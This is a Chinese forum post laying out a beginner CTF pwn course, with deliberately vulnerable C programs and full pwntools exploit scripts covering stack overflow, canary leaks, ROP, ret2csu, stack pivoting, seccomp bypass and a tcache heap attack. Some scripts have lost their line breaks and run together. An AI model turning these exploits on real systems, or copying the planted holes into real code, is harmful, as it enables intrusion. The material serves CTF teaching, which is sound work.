首页
社区
课程
招聘
[原创]赛棍pwn课程(结束了共计9天)
2022-1-15 23:35 21726

[原创]赛棍pwn课程(结束了共计9天)

2022-1-15 23:35
21726

全部文件集合-2023-09-07
链接:https://pan.baidu.com/s/1KmyJh4yZGIGu9ilOiYAvcg?pwd=eoe6
提取码:eoe6
--来自百度网盘超级会员V5的分享

前言

做这赛棍速成,其实就是图一乐,真想几天完成是不可能的啦,除非你有一定的基础,不过嘛
我自己学到的东西就这么多了从21-2-1到21-12-1就学了这些了。
--license--
1.课程全开源 全免费。
2.本课程仅供交流学习,不得用于任何盈利目的,并且因为个人原因使用,转载本课程造成的所有损失及法律责任均由使用者个人负责。

我也不知道我把这些自己录的课程发出来后会不会被人喷说误人子弟,违背ctf初心,但是我只是做一个自己所学的知识分享,希望有错误的地方可以指正我。
还有就是,不太习惯录制视频,视频可能看起来说话会很快让人很难受,前三天的视频我是不打算重做修改的了,第四天开始我会慢慢做的,从第四天开始就是堆的内容了,不要问我为什么不讲格式化字符串,因为这个东西用的少是一点,其实我自己玩的也不熟,就不来坑人了。

(每一天的附件都包含了题目源码和视频)


今天是20221月18进行第二次更新,更新到第四天

更新频率可能是2-3天一更,也不一定但是不会变成弃坑和随缘更 希望师傅们可以把一些想法留在评论区交流,视频的语速,表意,第四天已经把语速尽量放慢了


今天是2022 1月23日现在2:32分,更新到了第五天,最近烦心事比较多,视频里有点吐槽,还有说关于堆沙盒获取未知文件名那块可能将的不是很清楚,最近打了hgame感觉题目还是挺有学习价值的,就打算等这一周的hgame结束然后放下解出来的pwn的wp


今天是2022年1月27日,今天主要讲下hgame的几个pwn题,hws的题我直接写在附件里面了,更新时间可能一周1-2更吧,我最近跑去刷LeetCode了,从菜鸡开始,pwn这里我尽力把所有学到的东西做再跑路,这两天因为比赛的事情心态也有点裂开,所以视频讲的可能质量大不如前,但是我尽力了,没有摆烂啦,第七天的课程我会讲下off by xx的堆利用专题



今天是2月9日摆烂了好几天了,我之后可能不会更新ctf相关的了。已经半退圈了,只有有一些必要赛要打,我没什么墨水,也教不了大家太多的东西,只希望看见的人能有所收获就是本课程的初衷了

附件:
链接:https://pan.baidu.com/s/116g9xhnLipAQOssjGL9fwA?pwd=wfgy
提取码:wfgy
--来自百度网盘超级会员V3的分享

第一天

大前提

如果你不会Intel汇编基本,C基本语法 不会Python基本语法 不会linux基本操作 那就先学了再说吧,学会再来看后面的东西

基本linux操作

所有报错有问题的直接复制百度什么都有答案了。

linux基本命令,差不多会这些就行了,写脚本自己安装个subl,不会就百度Ubuntu安装sublime

1
2
3
4
5
6
7
apt
pip
rm
mv
cp
cd
gcc 原文链接:https://blog.csdn.net/lonyliu/article/details/90341012

GCC基本保护机制

1
https://blog.lao-yuan.com/2018/06/09/Linux-GCC%E5%AE%89%E5%85%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6.html

基本pwn工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
IDA7.5或者7.6
 
pwntools(自己去官网装或者用我的虚拟机)
 
### IDA7.5
 
链接:https://pan.baidu.com/s/1Aj7z43cOWKoFaIMUxKRoeA
提取码:4567
--来自百度网盘超级会员V2的分享
 
 
 
### Ubuntu16克隆
 
链接:https://pan.xunlei.com/s/VMe8S_jNaevdVYO5uJX22SAbA1
提取码:zr5y
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu18克隆
 
链接:https://pan.xunlei.com/s/VMe8Sf9s39ZC-xdGnH6ONRcmA1
提取码:8fxe
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu20克隆
 
链接:https://pan.xunlei.com/s/VMe8SkH7YXl7Y__TeVzFdAD5A1
提取码:j7ze
复制这段内容后打开手机迅雷App,查看更方便
 
建议全部机子都下载下来,以后用的到
 
python2.7以上
 
onegadget
 
ROPgadget
 
pwngdb+pwndbg https://blog.csdn.net/weixin_43092232/article/details/105648769
 
patchelf (用apt安装)
 
glibc-all-in-one(github有自己下载)
 
glibc查询网址 https://libc.blukat.me

基本pwn命令

参数的替换自己看两眼就知道

1
2
3
4
5
6
7
8
9
10
11
ROPgadget --binary un --only 'pop|pop|pop|ret'
可以查询gadget un是文件名字
 
one_gadget libc-2.31.so
查看onegadget
 
strings -a ./un  | grep "GCC"
查询文件编译的系统版本
 
checksec xx
查询保护机制

IDA基本利用

建议自己配套视频食用

1
2
3
4
5
6
7
8
9
双击变量看变量地址或者进入函数
 
ctrl+s看各种区段的地址
 
F5一键反汇编
 
对变量或函数按x查看上级调用
 
Ctrl+alt+k keypatch快捷键修改汇编代码

pwntools基本方法利用

下面给大家看下一个最简单的交互脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=process('./name')#process是pwntools模块加载本地程序的方法,变量是字符串形式执行二进制文件的命令
r=remote("127.0.0.1",6666)#remote是pwntools是远程连接目标IP,port的方法
context(log_level="debug",arch="amd64",os="linux")#context方法用于定义脚本模式,log_level是否调试,arhc为程序位数,os为脚本运行系统
r.recv()#recv()如果不加参数就是接受所有的字符,加参数比如r.recv(1)就是接受一个字符然后继续然后改方法的返回值就是他接受到的东西
r.recvuntil('111')#recvuntil()是接受到某个指定的字符或者字符串为止然后改方法的返回值就是他接受到的东西
r.send("11")#send()方法用来发送字符串不带回车也就是字符串结尾没有\n
r.sendline("111")#sendline()方法用来发送字符串带回车也就是字符串结尾有\n
backdoor=0x400060
pay='a'*0x18+p64(backdoor)#p64() p32 p16() p8()都是用来包装转化十六进制的p64()是对应64位程序,p32()是32位的 其实说开了p64()包装8个字节,32包装4个,16是2个,8是一个,同时我们泄露了数据要用u64() u32()来转化数据泄露的数据
r.sendline(payload)
r.interactive()#将程序交互给到用户来操作

什么是栈溢出

栈溢出这个东西其实就是程序给你划分了一块空间,但是你写的代码允许输入超出这片空间大小的数据,就把你的数据

输入到了合法空间之外的地方造成了破坏,那么在这不允许用户操作的空间之中有着非常多的关键寄存器可以被我们控制

我们利用栈溢出传输数据改变寄存器的值达到代码执行的效果。

存在栈溢出的危险操作

1
2
3
4
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf("%s")无限制长度输入数据
read(0,buf,xx) xx的大小大于buf本身

第一个栈溢出漏洞利用

这里做个简单的不开启PIE 不开启canary保护的程序 编译后的程序在附件里自己看

1
2
3
4
5
6
7
8
9
10
11
//day1_over
#include<stdio.h>
void main()
{
    char buf[0x10];
    read(0,buf,0x100);
}
void backdoor()
{
    system("/bin/sh");
}
1
from pwn import *r=process("./day1_over")retn=0x40055Cback=0x40055Dpay='a'*0x18+p64(retn)+p64(back)r.sendline(pay)r.interactive()

第二个栈溢出漏洞利用-canary

canary其实就是在栈插入一个值,如果这个值被破坏了就会有专门的检测函数将程序强行退出了,但是可以通过泄露canary

然后去在栈溢出传入填充用字符的时候一起传进去就可以通过检测达到栈溢出

1
//day1_over-canary#include<stdio.h>void main(){   char buf[0x10]; read(0,buf,0x100);  puts(buf);  read(0,buf,0x100);}void backdoor(){ system("/bin/sh");}
1
from pwn import *r=process("./day1_over-canary")context_log_level='debug'retn=0x40066Eback=0x400657pay='a'*(0x20-8)+'b'r.send(pay)r.recvuntil('b')canary=u64(r.recv(7)+'\x00')*0x100print(hex(canary))r.recv()pay='a'*(0x20-8)+p64(canary)+'a'*8+p64(retn)+p64(back)r.send(pay)r.interactive()

第一天附件

链接:https://pan.baidu.com/s/10_Iz1yUkDEfFtBNNXwQFTQ?pwd=8b84
提取码:8b84
--来自百度网盘超级会员V3的分享

第二天

寄存器传参的顺序

对于函数他需要传入参数靠什么完成我想不用多说了,当然你Intel汇编没怎么看也没事,我这讲下。

函数的参数传入分别是靠di,si,dx,cx,r8,r9,r15这几大按顺序完成的

32位中前四个叫edi,esi,edx,ecx

64位中前四个叫rdi,rsi,rdx,rcx

举个例子read(0,buf,0x10);

3个参数是不是,那么rdi=0;rsi=&buf;rdx=0x10;就是这样完成的

这里顺带说下,ax寄存器的值和字符串长度挂钩这点比较重要等下要用

比如read(0,buf,0x10);我满满当当的输入0x10个字符,等read执行完此时的rax=0x10的,有兴趣可以动态调试看看,视频也有在csu讲解的地方录制这部分

(32位的程序是不靠寄存器传参完成函数功能实现,他靠的是栈上数据传入)

基础rop

最基本的rop链构造,正常的漏洞利用哪有瓜皮给你后门哦,所以啊我们要去构造rop链进行攻击,思路可以大致分为以下步骤:

1.构造rop链泄露libc_base plt->got->函数的真正的地址

2.利用泄露的libc_base再构造一个包含system的rop链getshell

题目

1
2
3
4
5
6
7
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("good");
    read(0,buf,0x100);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
r=process('./lowrop')
context.log_level='debug'
elf=ELF('./lowrop')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004005d3
ret=0x400568
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pay='a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x400537)
r.sendline(pay)
r.recvuntil('\n')
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay='a'*0x28+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.sendline(pay)
r.interactive()

这里我再额外拓展下好了,现在关于C++的题目越来越多了,除了C其实还有要学下C++,很多人觉得C++的反汇编和shit一样

但是其实也没那么恶心,额外拓展可以看我博客

https://hgreed.vip/2021/12/17/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E7%8E%A9%E6%98%8E%E7%99%BDStack-migration/

中级rop ret2csu&栈迁移

tips:'a'*offset+p64(fake_stack)+P64(leave)

csuinit是一个二进制程序初始化的函数,视频有讲解,这里面有很多对寄存器的弹出,如果被我们利用到了就可以被我们传参去执行我们想要的函数,什么情况下要用csu呢,栈溢出存在但是溢出的非常小,不能构建一个基础rop,这时候就要用到栈迁移或者ret2csu

这里只讲csu和基础栈迁移,栈迁移的进阶玩法下一章再开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def ret_csu(r12, r13, r14, r15, last):
    payload = offset * 'a' 
    #构造栈溢出的padding
    payload += p64(first_csu) + 'a' * 8   
    #gadgets1的地址
    payload += p64(0) + p64(1)
    #rbx=0, rbp=1
    payload += p64(r12) pust_plt
    #call调用的地址
    payload += p64(r13) + p64(r14) + p64(r15)
    #三个参数的寄存器
    payload += p64(second_csu)
    #gadgets2的地址
    payload += 'a' * 56
    #pop出的padding
    payload += p64(last)
    #函数最后的返回地址
    return payload

对于csu模板的使用要分清情况

这里的话因为我们是要去调用execve而不是让他执行完毕

所以末尾的'a'*56可以删除

还有在fist_csu后面也不能加'a'*8

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
char name[0x100];
void gift()
{
    asm volatile ("syscall;\n\t");
}
void main()
{
    char buf[0x20];
     puts("name:");
     read(0,name,0x100);
     puts("passwd:");
     read(0,buf,0x40);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
csu_one=0x4005FA
csu_two=0x4005E0
syscall=0x40053B
leave=0x400597
bss=0x601060
r=process('./csu_mig')
r.recv()
def ret_csu(r12, r13, r14, r15, last):
    payload='/bin/sh\x00'
 
    payload += p64(csu_one)
 
    payload += p64(0) + p64(1)
 
    payload += p64(r12)
 
    payload += p64(r15) + p64(r14) + p64(r13)
 
    payload += p64(csu_two)
    payload += p64(last)
 
 
    return payload
ab=ret_csu(bss+72,0,0,bss,syscall)
r.send(ab)
r.recv()
payload='a'*0x20+p64(bss)+p64(leave)
r.send(payload.ljust(0x3b,'a'))
r.interactive()

额外练习典型csu

题目和exp

链接:https://pan.baidu.com/s/18tRF62mbYF6ba_hBD5vWVA
提取码:4567
--来自百度网盘超级会员V2的分享

main函数

我们可以去用基础rop没问题但是这个例题只是为了更好的讲解csu的运用

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  vul(0LL, 0LL, 0LL);
  read(0, buf, 0x100uLL);
  return 0;
}

没太多好讲的就是基本的模板题目,主要的是如果不用onegadget的话

拼接system的记得在/bin/sh后面加上ret进行栈对齐。栈对齐一直很玄学对我来说噗嗤。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
 
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
sh = process("easycsu")
 
context.log_level = "DEBUG"
 
gadget1 = 0x00000000004011FE
 
gadget2 = 0x00000000004011E8
 
put_addr = 0x0000000000404018
 
libc_addr = 0x0000000000403ff0
 
start_addr = 0x0000000000401050
 
payload = (0x20 + 8) * 'a'
 
payload += p64(gadget1)
 
payload += 'a' * 8
 
payload += p64(0)
 
payload += p64(1)
 
payload += p64(put_addr)
 
payload += p64(0x0000000000404018) + p64(0x0000000000404018) + p64(0x0000000000404018)
 
payload += p64(gadget2)
 
payload += 'a' * 56
 
payload += p64(start_addr)
 
sh.recv()
 
 
 
sh.send(payload)
 
real_addr = u64(sh.recv(6).ljust(8,'\x00'))
 
 
print hex(real_addr)
 
addr_base = real_addr - libc.sym['puts']
 
print(hex(libc.sym['puts']))
 
system_addr = addr_base + libc.sym['system']
 
binsh_addr = addr_base + 0x1b3e1a
 
one=0x4f3d5+addr_base
 
pop_addr = 0x000000000040120b
 
sh.recv()
 
#payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(0x0000000000401016)+p64(system_addr)
 
payload=(0x20 + 8) * 'a' +p64(one)
sh.send(payload)
sh.sendline('cat flag')
sh.interactive()

Tips

我的建议是如果有空的话,自己仿照我程序写一些题目自己来做,可以发挥自己探索能力,比如自己结合下第一章的泄露canary配上基础rop自己玩玩,或者说试试看基础栈迁移配上基础rop试试看都可以的,不要局限于我这简陋的教程

下面就举个例子我就不提供exp了想玩的朋友可以尝试下,自己编译自己写

解题思路就是先在pwnme上布局基础rop泄露libc然后栈迁移过去执行,然后再来一次就是getshell,秒杀题。

基础栈迁移配上基础rop

1
2
3
4
5
6
7
8
9
#include<stdio.h>
char pwnme[0x100];
void main(){
    char buf[0x20];
    puts("hello!");
    read(0,pwnme,0x100);
    puts("wuhu");
    read(0,buf,0x30);
}

编译指令

gcc -fno-stack-protector -no-pie -o lowrop lowrop.c

syscall系统调用表

https://blog.csdn.net/SUKI547/article/details/103315487?ops_request_misc=&request_id=&biz_id=102&utm_term=linux%20%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%A1%A864%E4%BD%8D&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187

第二天附件

链接:https://pan.baidu.com/s/1iYK0-j6Z2vJAZvXHUo-rXg?pwd=whv5
提取码:whv5
--来自百度网盘超级会员V3的分享

第三天

进阶栈迁移(全通用法)

通用模板记忆

1
2
3
4
5
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
1
2
3
4
5
6
7
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("只能写一点点");
    read(0,buf,0x30);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
r=process('./alittle')
elf=ELF('./alittle')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss=0x601000+0x600
rdi=0x00000000004005d3
leave=0x40054B
ret=0x400568
r.recv()
pay='a'*0x20+p64(bss)+p64(leave)#rbp
gdb.attach(r)
r.send(pay)
raw_input()
gdb.attach(r)
pay1='a'*0x20+p64(bss+0x20)+p64(leave)#rsp
r.send(pay1)
raw_input()
pay2=p64(bss+0x30)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)
gdb.attach(r)
r.send(pay2)
raw_input()
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp
gdb.attach(r)
r.send(pay3)
raw_input()
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.send(pay4)
r.interactive()

栈溢出沙盒绕过

通用模板记忆

1
2
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
1
2
3
4
5
安装流程:
sudo apt install gcc ruby-dev
gem install seccomp-tools
使用方法
seccomp-tools dump ./xxx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
    init();
    sandbox();
    char buf[0x48];
    printf("%s\n","Today is a good day no right man?");
    read(0,buf,0x100);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r=process('./good')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./good')
context.log_level='debug'
'''
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f8 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
0x0000000000400778 : ret 0x2be
 
 
'''
rdi=0x0000000000400843
rsi=0x0000000000400841
r.recv()
#puts(puts_got)
pay='a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
r.sendline(pay)
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
libc_base=leak-libc.sym['puts']
print(hex(libc_base))
r.recv()
pay3='a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
r.send(pay3)
r.send('flag')
 
r.recv()
pay1='a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
r.send(pay1)
print(r.recvuntil("}"))

课后加餐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
        sandbox();
        char buf[0x100];
        puts("只能写一点点");
        read(0,buf,0x110);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *r=process('./alittle-up')
elf=ELF('./alittle-up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
bss=0x601000+0x400
rdi=0x0000000000400833
leave=0x4007B1ret=0x4007CC
rsi=0x0000000000400831
r.recv()
pay='a'*0x100+p64(bss)+p64(leave)r.send(pay)pay1='a'*0x100+p64(bss+0x100)+p64(leave)r.send(pay1)
pay2=p64(bss+0x110)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400790)
r.send(pay2)
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pay3='a'*0x100+p64(bss+0x120)+p64(leave)r.send(pay3)
pay5=p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(base+libc.sym['read'])+p64(0x400790)
r.send(pay5)
r.send("flag")
pay6='a'*0x100+p64(bss+0x300)+p64(leave)
#gdb.attach(r)
r.send(pay6)
pay1='a'*0x100+p64(bss+0x400)+p64(leave)r.send(pay1)
#gdb.attach(r)
pay8=p64(0)+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(base+libc.sym['syscall'])
pay8+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(base+libc.sym['read'])
pay8+=p64(rdi)+p64(0x601200)+p64(base+libc.sym['puts'])+p64(0x400790)
r.send(pay8)
r.interactive()

第三天附件

链接:https://pan.baidu.com/s/1sP9edPkKuyhN9Cb7nX6tjw?pwd=3zvv
提取码:3zvv
--来自百度网盘超级会员V3的分享

第四天

堆概述

堆一直以来都是pwn的一个分水岭,你在CTF走多远就取决于你堆玩的有多骚(别杠,杠就是你对)

虽然实际生产中很多都栈的漏洞,而且版本比较老都是16-18的系统的漏洞,但是CTF就是卷啊,卷死了我才想跑路了的。废话不多说给大家介绍下什么是堆以及堆GDB常用命令。

常用命令

1
2
3
4
5
6
heap #查看堆块
bin #查看bin区块
p &__free_hook #查看某个函数的真实地址
p *__free_hook #查看某个函数的指向
x/xxgx 0xxxx #查看某个地址的内存
vmmap

什么是堆

其实堆你就可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据

那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

总的来说,就是划分为了2部分,管理区块和数据存放区块,存放区块就是堆,管理区块可以对堆增删改查。

至关重要的概念

题型划分

off by one

off by null

堆溢出

UAF

double free

核心思想

其实无论什么题型,最后都是为了在管理区块上有多个指针指向同一个堆,最后的效果都是如此的

堆大小的计算方式

min:最小值为0x20 你申请的再小都好 他都会划分为0x20

堆块大小的计算方式:你申请一个0x20的你会得到0x30 0x28的也是会得到0x30 他会自动进1位 原理等下讲

bin的划分

bin管理区块是管理被free后的堆的,是可以被我们利用的

tcache bins: 0-0x420大小 被free后的堆会进入这 填满7个后就不会再往里面填 寻址方式靠fd指针

large bin: 寻址方式靠fd bk指针 双向链表

small bin :寻址方式靠fd bk指针 双向链表

fastbin: 0~0x90寻址方式靠fd 指针 单链表

unsortedbin:寻址方式靠fd bk指针 双向链表

从bin取堆的优先度

tcache机制在Ubuntu18及以上才有,如果tcache里面有则优先从tcache里面取,如果没有就去对应大小的bin里面取,还是没有才去unsortedbin里面切割。

堆的字段讲解

1
2
3
4
5
pwndbg> x/32gx 0x602000
0x602000:   prev_size   size
0x602010:   fd  bk
0x602020:   fd_next bk_next
0x602030:   0x0000000000000000  0x0000000000000000

在堆没被释放的时候堆的有效字段为size,size以下都是我们的content也就是我们可以写入的内容,大小根据程序来申请的size来决定

我们前面提到了一点堆的size的问题,为什么是取16的整数倍是因为哪怕最小的一个chunk他需要的字段都要包含

prev_size size

fd bk

fd_next bk_next是large bin 和small bin 才有的

size字段讲解

关于size字段他又存在一个insure标志位我们申请的正常的堆在gdb看见的size字段结尾都是1例如0x91

这个insure位是用来记录这个堆前面的堆是否被释放,这里简单提下off by null的利用假设我的堆本来是

0x111大小的然后前面的堆是没被释放的,但是因为这个漏洞的关系导致了我0x111大小被修改为0x100

那么此时程序就误认为我们前面的堆被释放了,我们再去释放这个0x100的堆,前面的堆就会因为合并规则

和这个堆一起被丢进bins里面,但是我们的管理区块是没有删除他们的地址的,所以当我们再去申请的时候

就会造成管理区块有多个地址指向同一个堆可以造成堆复用进而导致getshell。

fd,bk,prev_size的讲解

prev_size记录的是前一个堆块的大小是只有当前一个堆块被free的时候才会出现的,这个的初衷是用来防止用户串改被释放后的堆块的大小的但是我们依然各种漏洞绕过。

fd,bk指针是当chunk进入到bin里面会被启用的字段,此时他们就是有效的指针,我们可以修改指针达到任意地址申请的效果

从堆溢出开始

超大溢出改fd指针

利用栈溢出直接修改fd指针任意申请

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
//ezheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
r=process('./ezheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x90)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x90)
dele(3)
edit(2,0x666,'a'*0x90+p64(0xa0)+p64(0x41)+p64(free))
add(0x90)
add(0x90)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
gdb.attach(r)
r.interactive()

house of force attack tcache

题目限制大小申请不能获取到unsortedbin的chunk

